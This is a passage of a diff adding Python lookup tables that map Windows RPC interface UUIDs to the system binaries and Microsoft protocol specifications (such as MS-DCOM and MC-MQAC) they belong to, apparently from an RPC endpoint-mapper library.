+b"\x5a\x23\xb5\xc6\x13\xe4\x1d\x48\x9a\xc8\x31\x68\x1b\x1f\xaa\xf5\x01\x01": "SCardSvr.dll", +b"\x5a\x23\xb5\xc6\x13\xe4\x1d\x48\x9a\xc8\x31\x68\x1b\x1f\xaa\xf5\x01\x00": "SCardSvr.dll", +b"\x69\x45\x81\x7d\xb3\x35\x50\x48\xbb\x32\x83\x03\x5f\xce\xbf\x6e\x01\x00": "ias.dll", +b"\x41\xea\x25\x48\xe3\x51\x2a\x4c\x84\x06\x8f\x2d\x26\x98\x39\x5f\x01\x00": "userenv.dll", +b"\xc4\xfe\xfc\x99\x60\x52\x1b\x10\xbb\xcb\x00\xaa\x00\x21\x34\x7a\x00\x00": "rpcss.dll", +b"\xc5\x28\x47\x3c\xab\xf0\x8b\x44\xbd\xa1\x6c\xe0\x1e\xb0\xa6\xd5\x01\x00": "dhcpcsvc.dll", +b"\xe0\x8e\x20\x41\x70\xe9\xd1\x11\x9b\x9e\x00\xe0\x2c\x06\x4c\x39\x01\x00": "mqqm.dll", +b"\xbf\x7b\x40\xcb\x4f\xc1\xd9\x4c\x8f\x55\xcb\xb0\x81\x46\x59\x8c\x00\x00": "IMJPDCT.EXE", +b"\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\xcf\xfb\x01\x00": "netlogon.dll", +b"\x30\x4c\xda\x83\x3a\xea\xcf\x11\x9c\xc1\x08\x00\x36\x01\xe5\x06\x01\x00": "nfsclnt.exe", +b"\x1f\xa7\x37\x21\x5e\xbb\x29\x4e\x8e\x7e\x2e\x46\xa6\x68\x1d\xbf\x09\x00": "wspsrv.exe - Microsoft ISA Server", +b"\x1e\x67\xe9\xc0\xc6\x33\x38\x44\x94\x64\x56\xb2\xe1\xb1\xc7\xb4\x01\x00": "wbiosrvc.dll", +b"\x80\xbd\xa8\xaf\x8a\x7d\xc9\x11\xbe\xf4\x08\x00\x2b\x10\x29\x89\x01\x00": "rpcrt4.dll", +b"\x8b\x3c\xf1\x6a\x44\x08\x83\x4c\x90\x64\x18\x92\xba\x82\x55\x27\x01\x00": "tssdis.exe", +b"\x55\x51\xd8\xec\x3a\xcc\x10\x4f\xaa\xd5\x9a\x9a\x2b\xf2\xef\x0c\x01\x00": "termsrv.dll", +b"\xe8\x98\x8b\xbb\xdd\x84\xe7\x45\x9f\x34\xc3\xfb\x61\x55\xee\xed\x01\x00": "vaultsvc.dll", +b"\x86\xb1\x49\xd0\x4f\x81\xd1\x11\x9a\x3c\x00\xc0\x4f\xc9\xb2\x32\x01\x00": "ntfrs.exe", +b"\x5d\x2c\x95\x25\x76\x79\xa1\x4a\xa3\xcb\xc3\x5f\x7a\xe7\x9d\x1b\x01\x01": "wlansvc.dll", +b"\x7f\x0b\xfe\x64\xf5\x9e\x53\x45\xa7\xdb\x9a\x19\x75\x77\x75\x54\x01\x00": "rpcss.dll", +b"\x86\xd4\xdc\x68\x9e\x66\xd1\x11\xab\x0c\x00\xc0\x4f\xc2\xdc\xd2\x02\x00": "ismserv.exe", +b"\xc3\x26\xf2\x76\x14\xec\x25\x43\x8a\x99\x6a\x46\x34\x84\x18\xae\x01\x00": "winlogon.exe", +b"\x23\x05\x7a\xfd\x70\xdc\xdd\x43\x9b\x2e\x9c\x5e\xd4\x82\x25\xb1\x01\x00": "appinfo.dll", +b"\x40\xfd\x2c\x34\x6c\x3c\xce\x11\xa8\x93\x08\x00\x2b\x2e\x9c\x6d\x00\x00": "llssrv.exe", +b"\x84\xd8\xb6\x8f\x88\x23\xd0\x11\x8c\x35\x00\xc0\x4f\xda\x27\x95\x04\x01": "w32time.dll", +b"\x9b\x06\x33\xae\xa8\xa2\xee\x46\xa2\x35\xdd\xfd\x33\x9b\xe2\x81\x01\x00": "spoolsv.exe", +b"\x26\xb5\x55\x1d\x37\xc1\xc5\x46\xab\x79\x63\x8f\x2a\x68\xe8\x69\x01\x00": "rpcss.dll", +b"\xa0\xaa\x17\x6e\x47\x1a\xd1\x11\x98\xbd\x00\x00\xf8\x75\x29\x2e\x02\x00": "clussvc.exe", +b"\xdf\x5f\xe9\xbd\xe0\xee\xde\x45\x9e\x12\xe5\xa6\x1c\xd0\xd4\xfe\x01\x00": "termsrv.dll", +b"\xac\xbe\x00\xc1\x3a\xd3\x4b\x4a\xbf\x23\xbb\xef\x46\x63\xd0\x17\x01\x00": "wcncsvc.dll", +b"\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab\x01\x00": "spoolsv.exe", +b"\x06\x50\x7b\x8a\x13\xcc\xdb\x11\x97\x05\x00\x50\x56\xc0\x00\x08\x01\x00": "appidsvc.dll", +b"\x20\x60\xae\x91\x3c\x9e\xcf\x11\x8d\x7c\x00\xaa\x00\xc0\x91\xbe\x00\x00": "certsrv.exe", +b"\x16\xbb\x74\x81\x1b\x57\x38\x4c\x83\x86\x11\x02\xb4\x49\x04\x4a\x01\x00": "p2psvc.dll", +b"\x36\x00\x61\x20\x22\xfa\xcf\x11\x98\x23\x00\xa0\xc9\x11\xe5\xdf\x01\x00": "rasmans.dll", +b"\x70\x0d\xec\xec\x03\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x01\x00": "ntdsbsrv.dll", +b"\x1c\xef\x74\x0a\xa4\x41\x06\x4e\x83\xae\xdc\x74\xfb\x1c\xdd\x53\x01\x00": "schedsvc.dll", +b"\x25\x04\x49\xdd\x25\x53\x65\x45\xb7\x74\x7e\x27\xd6\xc0\x9c\x24\x01\x00": "BFE.DLL", +b"\x7c\x5a\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x15\x00": "ntdsa.dll", +b"\xa0\x01\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46\x00\x00": "rpcss.dll", +b"\x49\x59\xd3\x86\xc9\x83\x44\x40\xb4\x24\xdb\x36\x32\x31\xfd\x0c\x01\x00": "schedsvc.dll", +b"\x35\x08\x22\x11\x26\x5b\x94\x4d\xae\x86\xc3\xe4\x75\xa8\x09\xde\x01\x00": "lsasrv.dll", +b"\xa8\x66\x00\xc8\x79\x75\xfc\x44\xb9\xb2\x84\x66\x93\x07\x91\xb0\x01\x00": "umrdp.dll", +b"\xab\x59\xec\xf1\xa9\x4c\x30\x4c\xb2\xd0\x54\xef\x1d\xb4\x41\xb7\x01\x00": "iertutil.dll", +b"\xba\xaa\x67\x52\x49\x4f\x53\x46\x8e\x26\xd1\xe1\x1f\x3f\x2a\xd9\x01\x00": "termsrv.dll", +b"\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f\x00\x00": "rpcss.dll", +b"\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f\x00\x02": "rpcss.dll", +b"\x38\x47\xaf\x3f\x21\x3a\x07\x43\xb4\x6c\xfd\xda\x9b\xb8\xc0\xd5\x01\x02": "audiosrv.dll", +b"\x38\x47\xaf\x3f\x21\x3a\x07\x43\xb4\x6c\xfd\xda\x9b\xb8\xc0\xd5\x01\x01": "audiosrv.dll", +b"\x20\x32\x5f\x2f\x26\xc1\x76\x10\xb5\x49\x07\x4d\x07\x86\x19\xda\x01\x02": "netdde.exe", +b"\xbf\x11\x9d\x7f\xb9\x7f\x6b\x43\xa8\x12\xb2\xd5\x0c\x5d\x4c\x03\x01\x00": "MPSSVC.dll", +b"\xbf\x52\x5a\xb2\xdd\xe5\x4a\x4f\xae\xa6\x8c\xa7\x27\x2a\x0e\x86\x01\x00": "keyiso.dll", +b"\x04\x22\x11\x4b\x19\x0e\xd3\x11\xb4\x2b\x00\x00\xf8\x1f\xeb\x9f\x01\x00": "ssdpsrv.dll", +b"\x97\xb2\xee\x04\xf4\xcb\x6b\x46\x8a\x2a\xbf\xd6\xa2\xf1\x0b\xba\x01\x00": "efssvc.dll", +b"\x40\xb2\x9b\x20\x19\xb9\xd1\x11\xbb\xb6\x00\x80\xc7\x5e\x4e\xc1\x01\x00": "irmon.dll", +b"\x96\x3f\xf0\x76\xfd\xcd\xfc\x44\xa2\x2c\x64\x95\x0a\x00\x12\x09\x01\x00": "spoolsv.exe", +b"\x4a\xa5\xbb\x06\x05\xbe\xf9\x49\xb0\xa0\x30\xf7\x90\x26\x10\x23\x01\x00": "wscsvc.dll", +b"\xa6\xb2\xdd\x1b\xc3\xc0\xbe\x41\x87\x03\xdd\xbd\xf4\xf0\xe8\x0a\x01\x00": "dot3svc.dll", +b"\x82\x15\x41\xaa\xdf\x9b\xfb\x48\xb4\x2b\xfa\xa1\xee\xe3\x39\x49\x01\x00": "nlasvc.dll", +b"\xfa\x9d\xd7\xd2\x00\x34\xd0\x11\xb4\x0b\x00\xaa\x00\x5f\xf5\x86\x01\x00": "dmadmin.exe", +b"\x12\xfc\x99\x60\xff\x3e\xd0\x11\xab\xd0\x00\xc0\x4f\xd9\x1a\x4e\x03\x00": "FXSAPI.dll", +b"\x1e\x24\x2f\x41\x2a\xc1\xce\x11\xab\xff\x00\x20\xaf\x6e\x7a\x17\x00\x00": "rpcss.dll", +b"\xd5\x33\x9a\x2c\xdb\xf1\x2d\x47\x84\x64\x42\xb8\xb0\xc7\x6c\x38\x01\x00": "tbssvc.dll", +b"\x30\x7c\xde\x3d\x5d\x16\xd1\x11\xab\x8f\x00\x80\x5f\x14\xdb\x40\x01\x00": "services.exe", +b"\x86\xb1\x49\xd0\x4f\x81\xd1\x11\x9a\x3c\x00\xc0\x4f\xc9\xb2\x32\x01\x01": "ntfrs.exe", +b"\x94\x8c\x95\x95\x24\xa4\x55\x40\xb6\x2b\xb7\xf4\xd5\xc4\x77\x70\x01\x00": "winlogon.exe", +b"\xe3\x31\x67\x32\xc0\xc1\x69\x4a\xae\x20\x7d\x90\x44\xa4\xea\x5c\x01\x00": "profsvc.dll", +b"\x18\x5a\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x38\x00": "ntdsai.dll", +b"\x0f\x6a\xe9\x4b\x52\x9f\x29\x47\xa5\x1d\xc7\x06\x10\xf1\x18\xb0\x01\x00": "wbiosrvc.dll", +b"\x80\x42\xad\x82\x6b\x03\xcf\x11\x97\x2c\x00\xaa\x00\x68\x87\xb0\x02\x00": "infocomm.dll", +b"\x87\x04\x26\x1f\x29\xba\x13\x4f\x92\x8a\xbb\xd2\x97\x61\xb0\x83\x01\x00": "termsrv.dll", +b"\x70\x07\xf7\x18\x64\x8e\xcf\x11\x9a\xf1\x00\x20\xaf\x6e\x72\xf4\x00\x00": "ole32.dll", +b"\xc0\xeb\x4f\xfa\x91\x45\xce\x11\x95\xe5\x00\xaa\x00\x51\xe5\x10\x04\x00": "autmgr32.exe", +b"\x10\xca\x8c\x70\x69\x95\xd1\x11\xb2\xa5\x00\x60\x97\x7d\x81\x18\x01\x00": "mqdssrv.dll", +b"\x28\x2c\xf5\x45\x9f\x7f\x1a\x10\xb5\x2b\x08\x00\x2b\x2e\xfa\xbe\x01\x00": "WINS.EXE", +b"\x31\xa3\x59\x2f\x7d\xbf\xcb\x48\x9e\x5c\x7c\x09\x0d\x76\xe8\xb8\x01\x00": "termsrv.dll", +b"\x61\x26\x45\x4a\x90\x82\x36\x4b\x8f\xbe\x7f\x40\x93\xa9\x49\x78\x01\x00": "spoolsv.exe", +} + +KNOWN_PROTOCOLS = { +'52C80B95-C1AD-4240-8D89-72E9FA84025E':'[MC-CCFG]: Server Cluster:', +'FA7660F6-7B3F-4237-A8BF-ED0AD0DCBBD9':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'450386DB-7409-4667-935E-384DBBEE2A9E':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'832A32F7-B3EA-4B8C-B260-9A2923001184':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'2D9915FB-9D42-4328-B782-1B46819FAB9E':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'0DD8A158-EBE6-4008-A1D9-B7ECC8F1104B':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'0716CAF8-7D05-4A46-8099-77594BE91394':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'B80F3C42-60E0-4AE0-9007-F52852D3DBED':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'0344CDDA-151E-4CBF-82DA-66AE61E97754':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'8BED2C68-A5FB-4B28-8581-A0DC5267419F':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'7883CA1C-1112-4447-84C3-52FBEB38069D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'09829352-87C2-418D-8D79-4133969A489D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'5B5A68E6-8B9F-45E1-8199-A95FFCCDFFFF':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'9BE77978-73ED-4A9A-87FD-13F09FEC1B13':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'ED35F7A1-5024-4E7B-A44D-07DDAF4B524D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'4DFA1DF3-8900-4BC7-BBB5-D1A458C52410':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'370AF178-7758-4DAD-8146-7391F6E18585':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'C8550BFF-5281-4B1E-AC34-99B6FA38464D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'08A90F5F-0702-48D6-B45F-02A9885A9768':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'8F6D760F-F0CB-4D69-B5F6-848B33E9BDC6':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'E7927575-5CC3-403B-822E-328A6B904BEE':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'DE095DB1-5368-4D11-81F6-EFEF619B7BCF':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'64FF8CCC-B287-4DAE-B08A-A72CBF45F453':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'EAFE4895-A929-41EA-B14D-613E23F62B71':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'EF13D885-642C-4709-99EC-B89561C6BC69':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'0191775E-BCFF-445A-B4F4-3BDDA54E2816':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'31A83EA0-C0E4-4A2C-8A01-353CC2A4C60A':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'D6C7CD8F-BB8D-4F96-B591-D3A5F1320269':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'ADA4E6FB-E025-401E-A5D0-C3134A281F07':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'B7D381EE-8860-47A1-8AF4-1F33B2B1F325':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'C5C04795-321C-4014-8FD6-D44658799393':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', +'EBA96B22-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'12A30900-7300-11D2-B0E6-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B24-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'2CE0C5B0-6E67-11D2-B0E6-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B0E-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'B196B285-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):', +'39CE96FE-F4C5-4484-A143-4C2D5D324229':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E07F-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B1A-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B18-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B23-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B14-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'FD174A80-89CF-11D2-B0F2-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'F72B9031-2F0C-43E8-924E-E6052CDC493F':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E072-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E075-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'0188401C-247A-4FED-99C6-BF14119D7055':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B15-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E07C-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'BE5F0241-E489-4957-8CC4-A452FCF3E23E':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B1C-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E077-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E078-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'B196B284-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E073-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E07D-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B1B-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E079-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E084-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B1F-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'33B6D07E-F27D-42FA-B2D7-BF82E11E9374':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E07A-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'0188AC2F-ECB3-4173-9779-635CA2039C72':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E085-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'EF0574E0-06D8-11D3-B100-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E086-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'B196B286-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):', +'D9933BE0-A567-11D2-B0F3-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7AB3341-C9D3-11D1-BB47-0080C7C5A2C0':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E082-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'0FB15084-AF41-11CE-BD2B-204C4F4F5020':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E083-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B13-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B1D-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B17-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B20-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E074-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'7FBE7759-5760-444D-B8A5-5E7AB9A84CCE':'[MC-MQAC]: Message Queuing (MSMQ):', +'B196B287-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B12-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B1E-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E07E-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E081-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E07B-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'64C478FB-F9B0-4695-8A7F-439AC94326D3':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B16-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B19-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B10-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B21-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E076-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B0F-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'EBA96B11-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', +'D7D6E080-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', +'4639DB2A-BFC5-11D2-9318-00C04FBBBFB3':'[MS-ADTG]: Remote Data Services (RDS) Transport Protocol', +'0EAC4842-8763-11CF-A743-00AA00A3F00D':'[MS-ADTG]: Remote Data Services (RDS) Transport Protocol', +'070669EB-B52F-11D1-9270-00C04FBBBFB3':'[MS-ADTG]: Remote Data Services (RDS) Transport Protocol', +'3DDE7C30-165D-11D1-AB8F-00805F14DB40':'[MS-BKRP]: BackupKey Remote Protocol', +'E3D0D746-D2AF-40FD-8A7A-0D7078BB7092':'[MS-BPAU]: Background Intelligent Transfer Service (BITS) Peer-', +'6BFFD098-A112-3610-9833-012892020162':'[MS-BRWSA]: Common Internet File System (CIFS) Browser Auxiliary', +'AFC07E2E-311C-4435-808C-C483FFEEC7C9':'[MS-CAPR]: Central Access Policy Identifier (ID) Retrieval Protocol', +'B97DB8B2-4C63-11CF-BFF6-08002BE23F2F':'[MS-CMRP]: Failover Cluster:', +'97199110-DB2E-11D1-A251-0000F805CA53':'[MS-COM]: Component Object Model Plus (COM+) Protocol', +'0E3D6630-B46B-11D1-9D2D-006008B0E5CA':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'3F3B1B86-DBBE-11D1-9DA6-00805F85CFE3':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'7F43B400-1A0E-4D57-BBC9-6B0C65F7A889':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'456129E2-1078-11D2-B0F9-00805FC73204':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'8DB2180E-BD29-11D1-8B7E-00C04FD7A924':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'182C40FA-32E4-11D0-818B-00A0C9231C29':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'971668DC-C3FE-4EA1-9643-0C7230F494A1':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'98315903-7BE5-11D2-ADC1-00A02463D6E7':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'6C935649-30A6-4211-8687-C4C83E5FE1C7':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'F131EA3E-B7BE-480E-A60D-51CB2785779E':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'1F7B1697-ECB2-4CBB-8A0E-75C427F4A6F0':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'A8927A41-D3CE-11D1-8472-006008B0E5CA':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'CFADAC84-E12C-11D1-B34C-00C04F990D54':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'1D118904-94B3-4A64-9FA6-ED432666A7B9':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'47CDE9A1-0BF6-11D2-8016-00C04FB9988E':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'0E3D6631-B46B-11D1-9D2D-006008B0E5CA':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'C2BE6970-DF9E-11D1-8B87-00C04FD7A924':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'C726744E-5735-4F08-8286-C510EE638FB6':'[MS-COMA]: Component Object Model Plus (COM+) Remote', +'FBC1D17D-C498-43A0-81AF-423DDD530AF6':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'F89AC270-D4EB-11D1-B682-00805FC79216':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'FB2B72A1-7A68-11D1-88F9-0080C7D771BF':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'4E14FB9F-2E22-11D1-9964-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'A0E8F27A-888C-11D1-B763-00C04FB926AF':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'7FB7EA43-2D76-4EA8-8CD9-3DECC270295E':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'99CC098F-A48A-4E9C-8E58-965C0AFC19D5':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'FB2B72A0-7A68-11D1-88F9-0080C7D771BF':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'4A6B0E16-2E38-11D1-9965-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'F4A07D63-2E25-11D1-9964-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'4A6B0E15-2E38-11D1-9965-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', +'B60040E0-BCF3-11D1-861D-0080C729264D':'[MS-COMT]: Component Object Model Plus (COM+) Tracker Service', +'23C9DD26-2355-4FE2-84DE-F779A238ADBD':'[MS-COMT]: Component Object Model Plus (COM+) Tracker Service', +'4E6CDCC9-FB25-4FD5-9CC5-C9F4B6559CEC':'[MS-COMT]: Component Object Model Plus (COM+) Tracker Service', +'D99E6E71-FC88-11D0-B498-00A0C90312F3':'[MS-CSRA]: Certificate Services Remote Administration Protocol', +'7FE0D935-DDA6-443F-85D0-1CFB58FE41DD':'[MS-CSRA]: Certificate Services Remote Administration Protocol', +'E1568352-586D-43E4-933F-8E6DC4DE317A':'[MS-CSVP]: Failover Cluster:', +'11942D87-A1DE-4E7F-83FB-A840D9C5928D':'[MS-CSVP]: Failover Cluster:', +'491260B5-05C9-40D9-B7F2-1F7BDAE0927F':'[MS-CSVP]: Failover Cluster:', +'C72B09DB-4D53-4F41-8DCC-2D752AB56F7C':'[MS-CSVP]: Failover Cluster:', +'E3C9B851-C442-432B-8FC6-A7FAAFC09D3B':'[MS-CSVP]: Failover Cluster:', +'4142DD5D-3472-4370-8641-DE7856431FB0':'[MS-CSVP]: Failover Cluster:', +'D6105110-8917-41A5-AA32-8E0AA2933DC9':'[MS-CSVP]: Failover Cluster:', +'A6D3E32B-9814-4409-8DE3-CFA673E6D3DE':'[MS-CSVP]: Failover Cluster:', +'04D55210-B6AC-4248-9E69-2A569D1D2AB6':'[MS-CSVP]: Failover Cluster:', +'2931C32C-F731-4C56-9FEB-3D5F1C5E72BF':'[MS-CSVP]: Failover Cluster:', +'12108A88-6858-4467-B92F-E6CF4568DFB6':'[MS-CSVP]: Failover Cluster:', +'85923CA7-1B6B-4E83-A2E4-F5BA3BFBB8A3':'[MS-CSVP]: Failover Cluster:', +'F1D6C29C-8FBE-4691-8724-F6D8DEAEAFC8':'[MS-CSVP]: Failover Cluster:', +'3CFEE98C-FB4B-44C6-BD98-A1DB14ABCA3F':'[MS-CSVP]: Failover Cluster:', +'88E7AC6D-C561-4F03-9A60-39DD768F867D':'[MS-CSVP]: Failover Cluster:', +'00000131-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', +'4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', +'00000143-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', +'000001A0-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', +'99FCFEC4-5260-101B-BBCB-00AA0021347A':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', +'00000000-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', +'4FC742E0-4A10-11CF-8273-00AA004AE673':'[MS-DFSNM]: Distributed File System (DFS):', +'9009D654-250B-4E0D-9AB0-ACB63134F69F':'[MS-DFSRH]: DFS Replication Helper Protocol', +'E65E8028-83E8-491B-9AF7-AAF6BD51A0CE':'[MS-DFSRH]: DFS Replication Helper Protocol', +'D3766938-9FB7-4392-AF2F-2CE8749DBBD0':'[MS-DFSRH]: DFS Replication Helper Protocol', +'4BB8AB1D-9EF9-4100-8EB6-DD4B4E418B72':'[MS-DFSRH]: DFS Replication Helper Protocol', 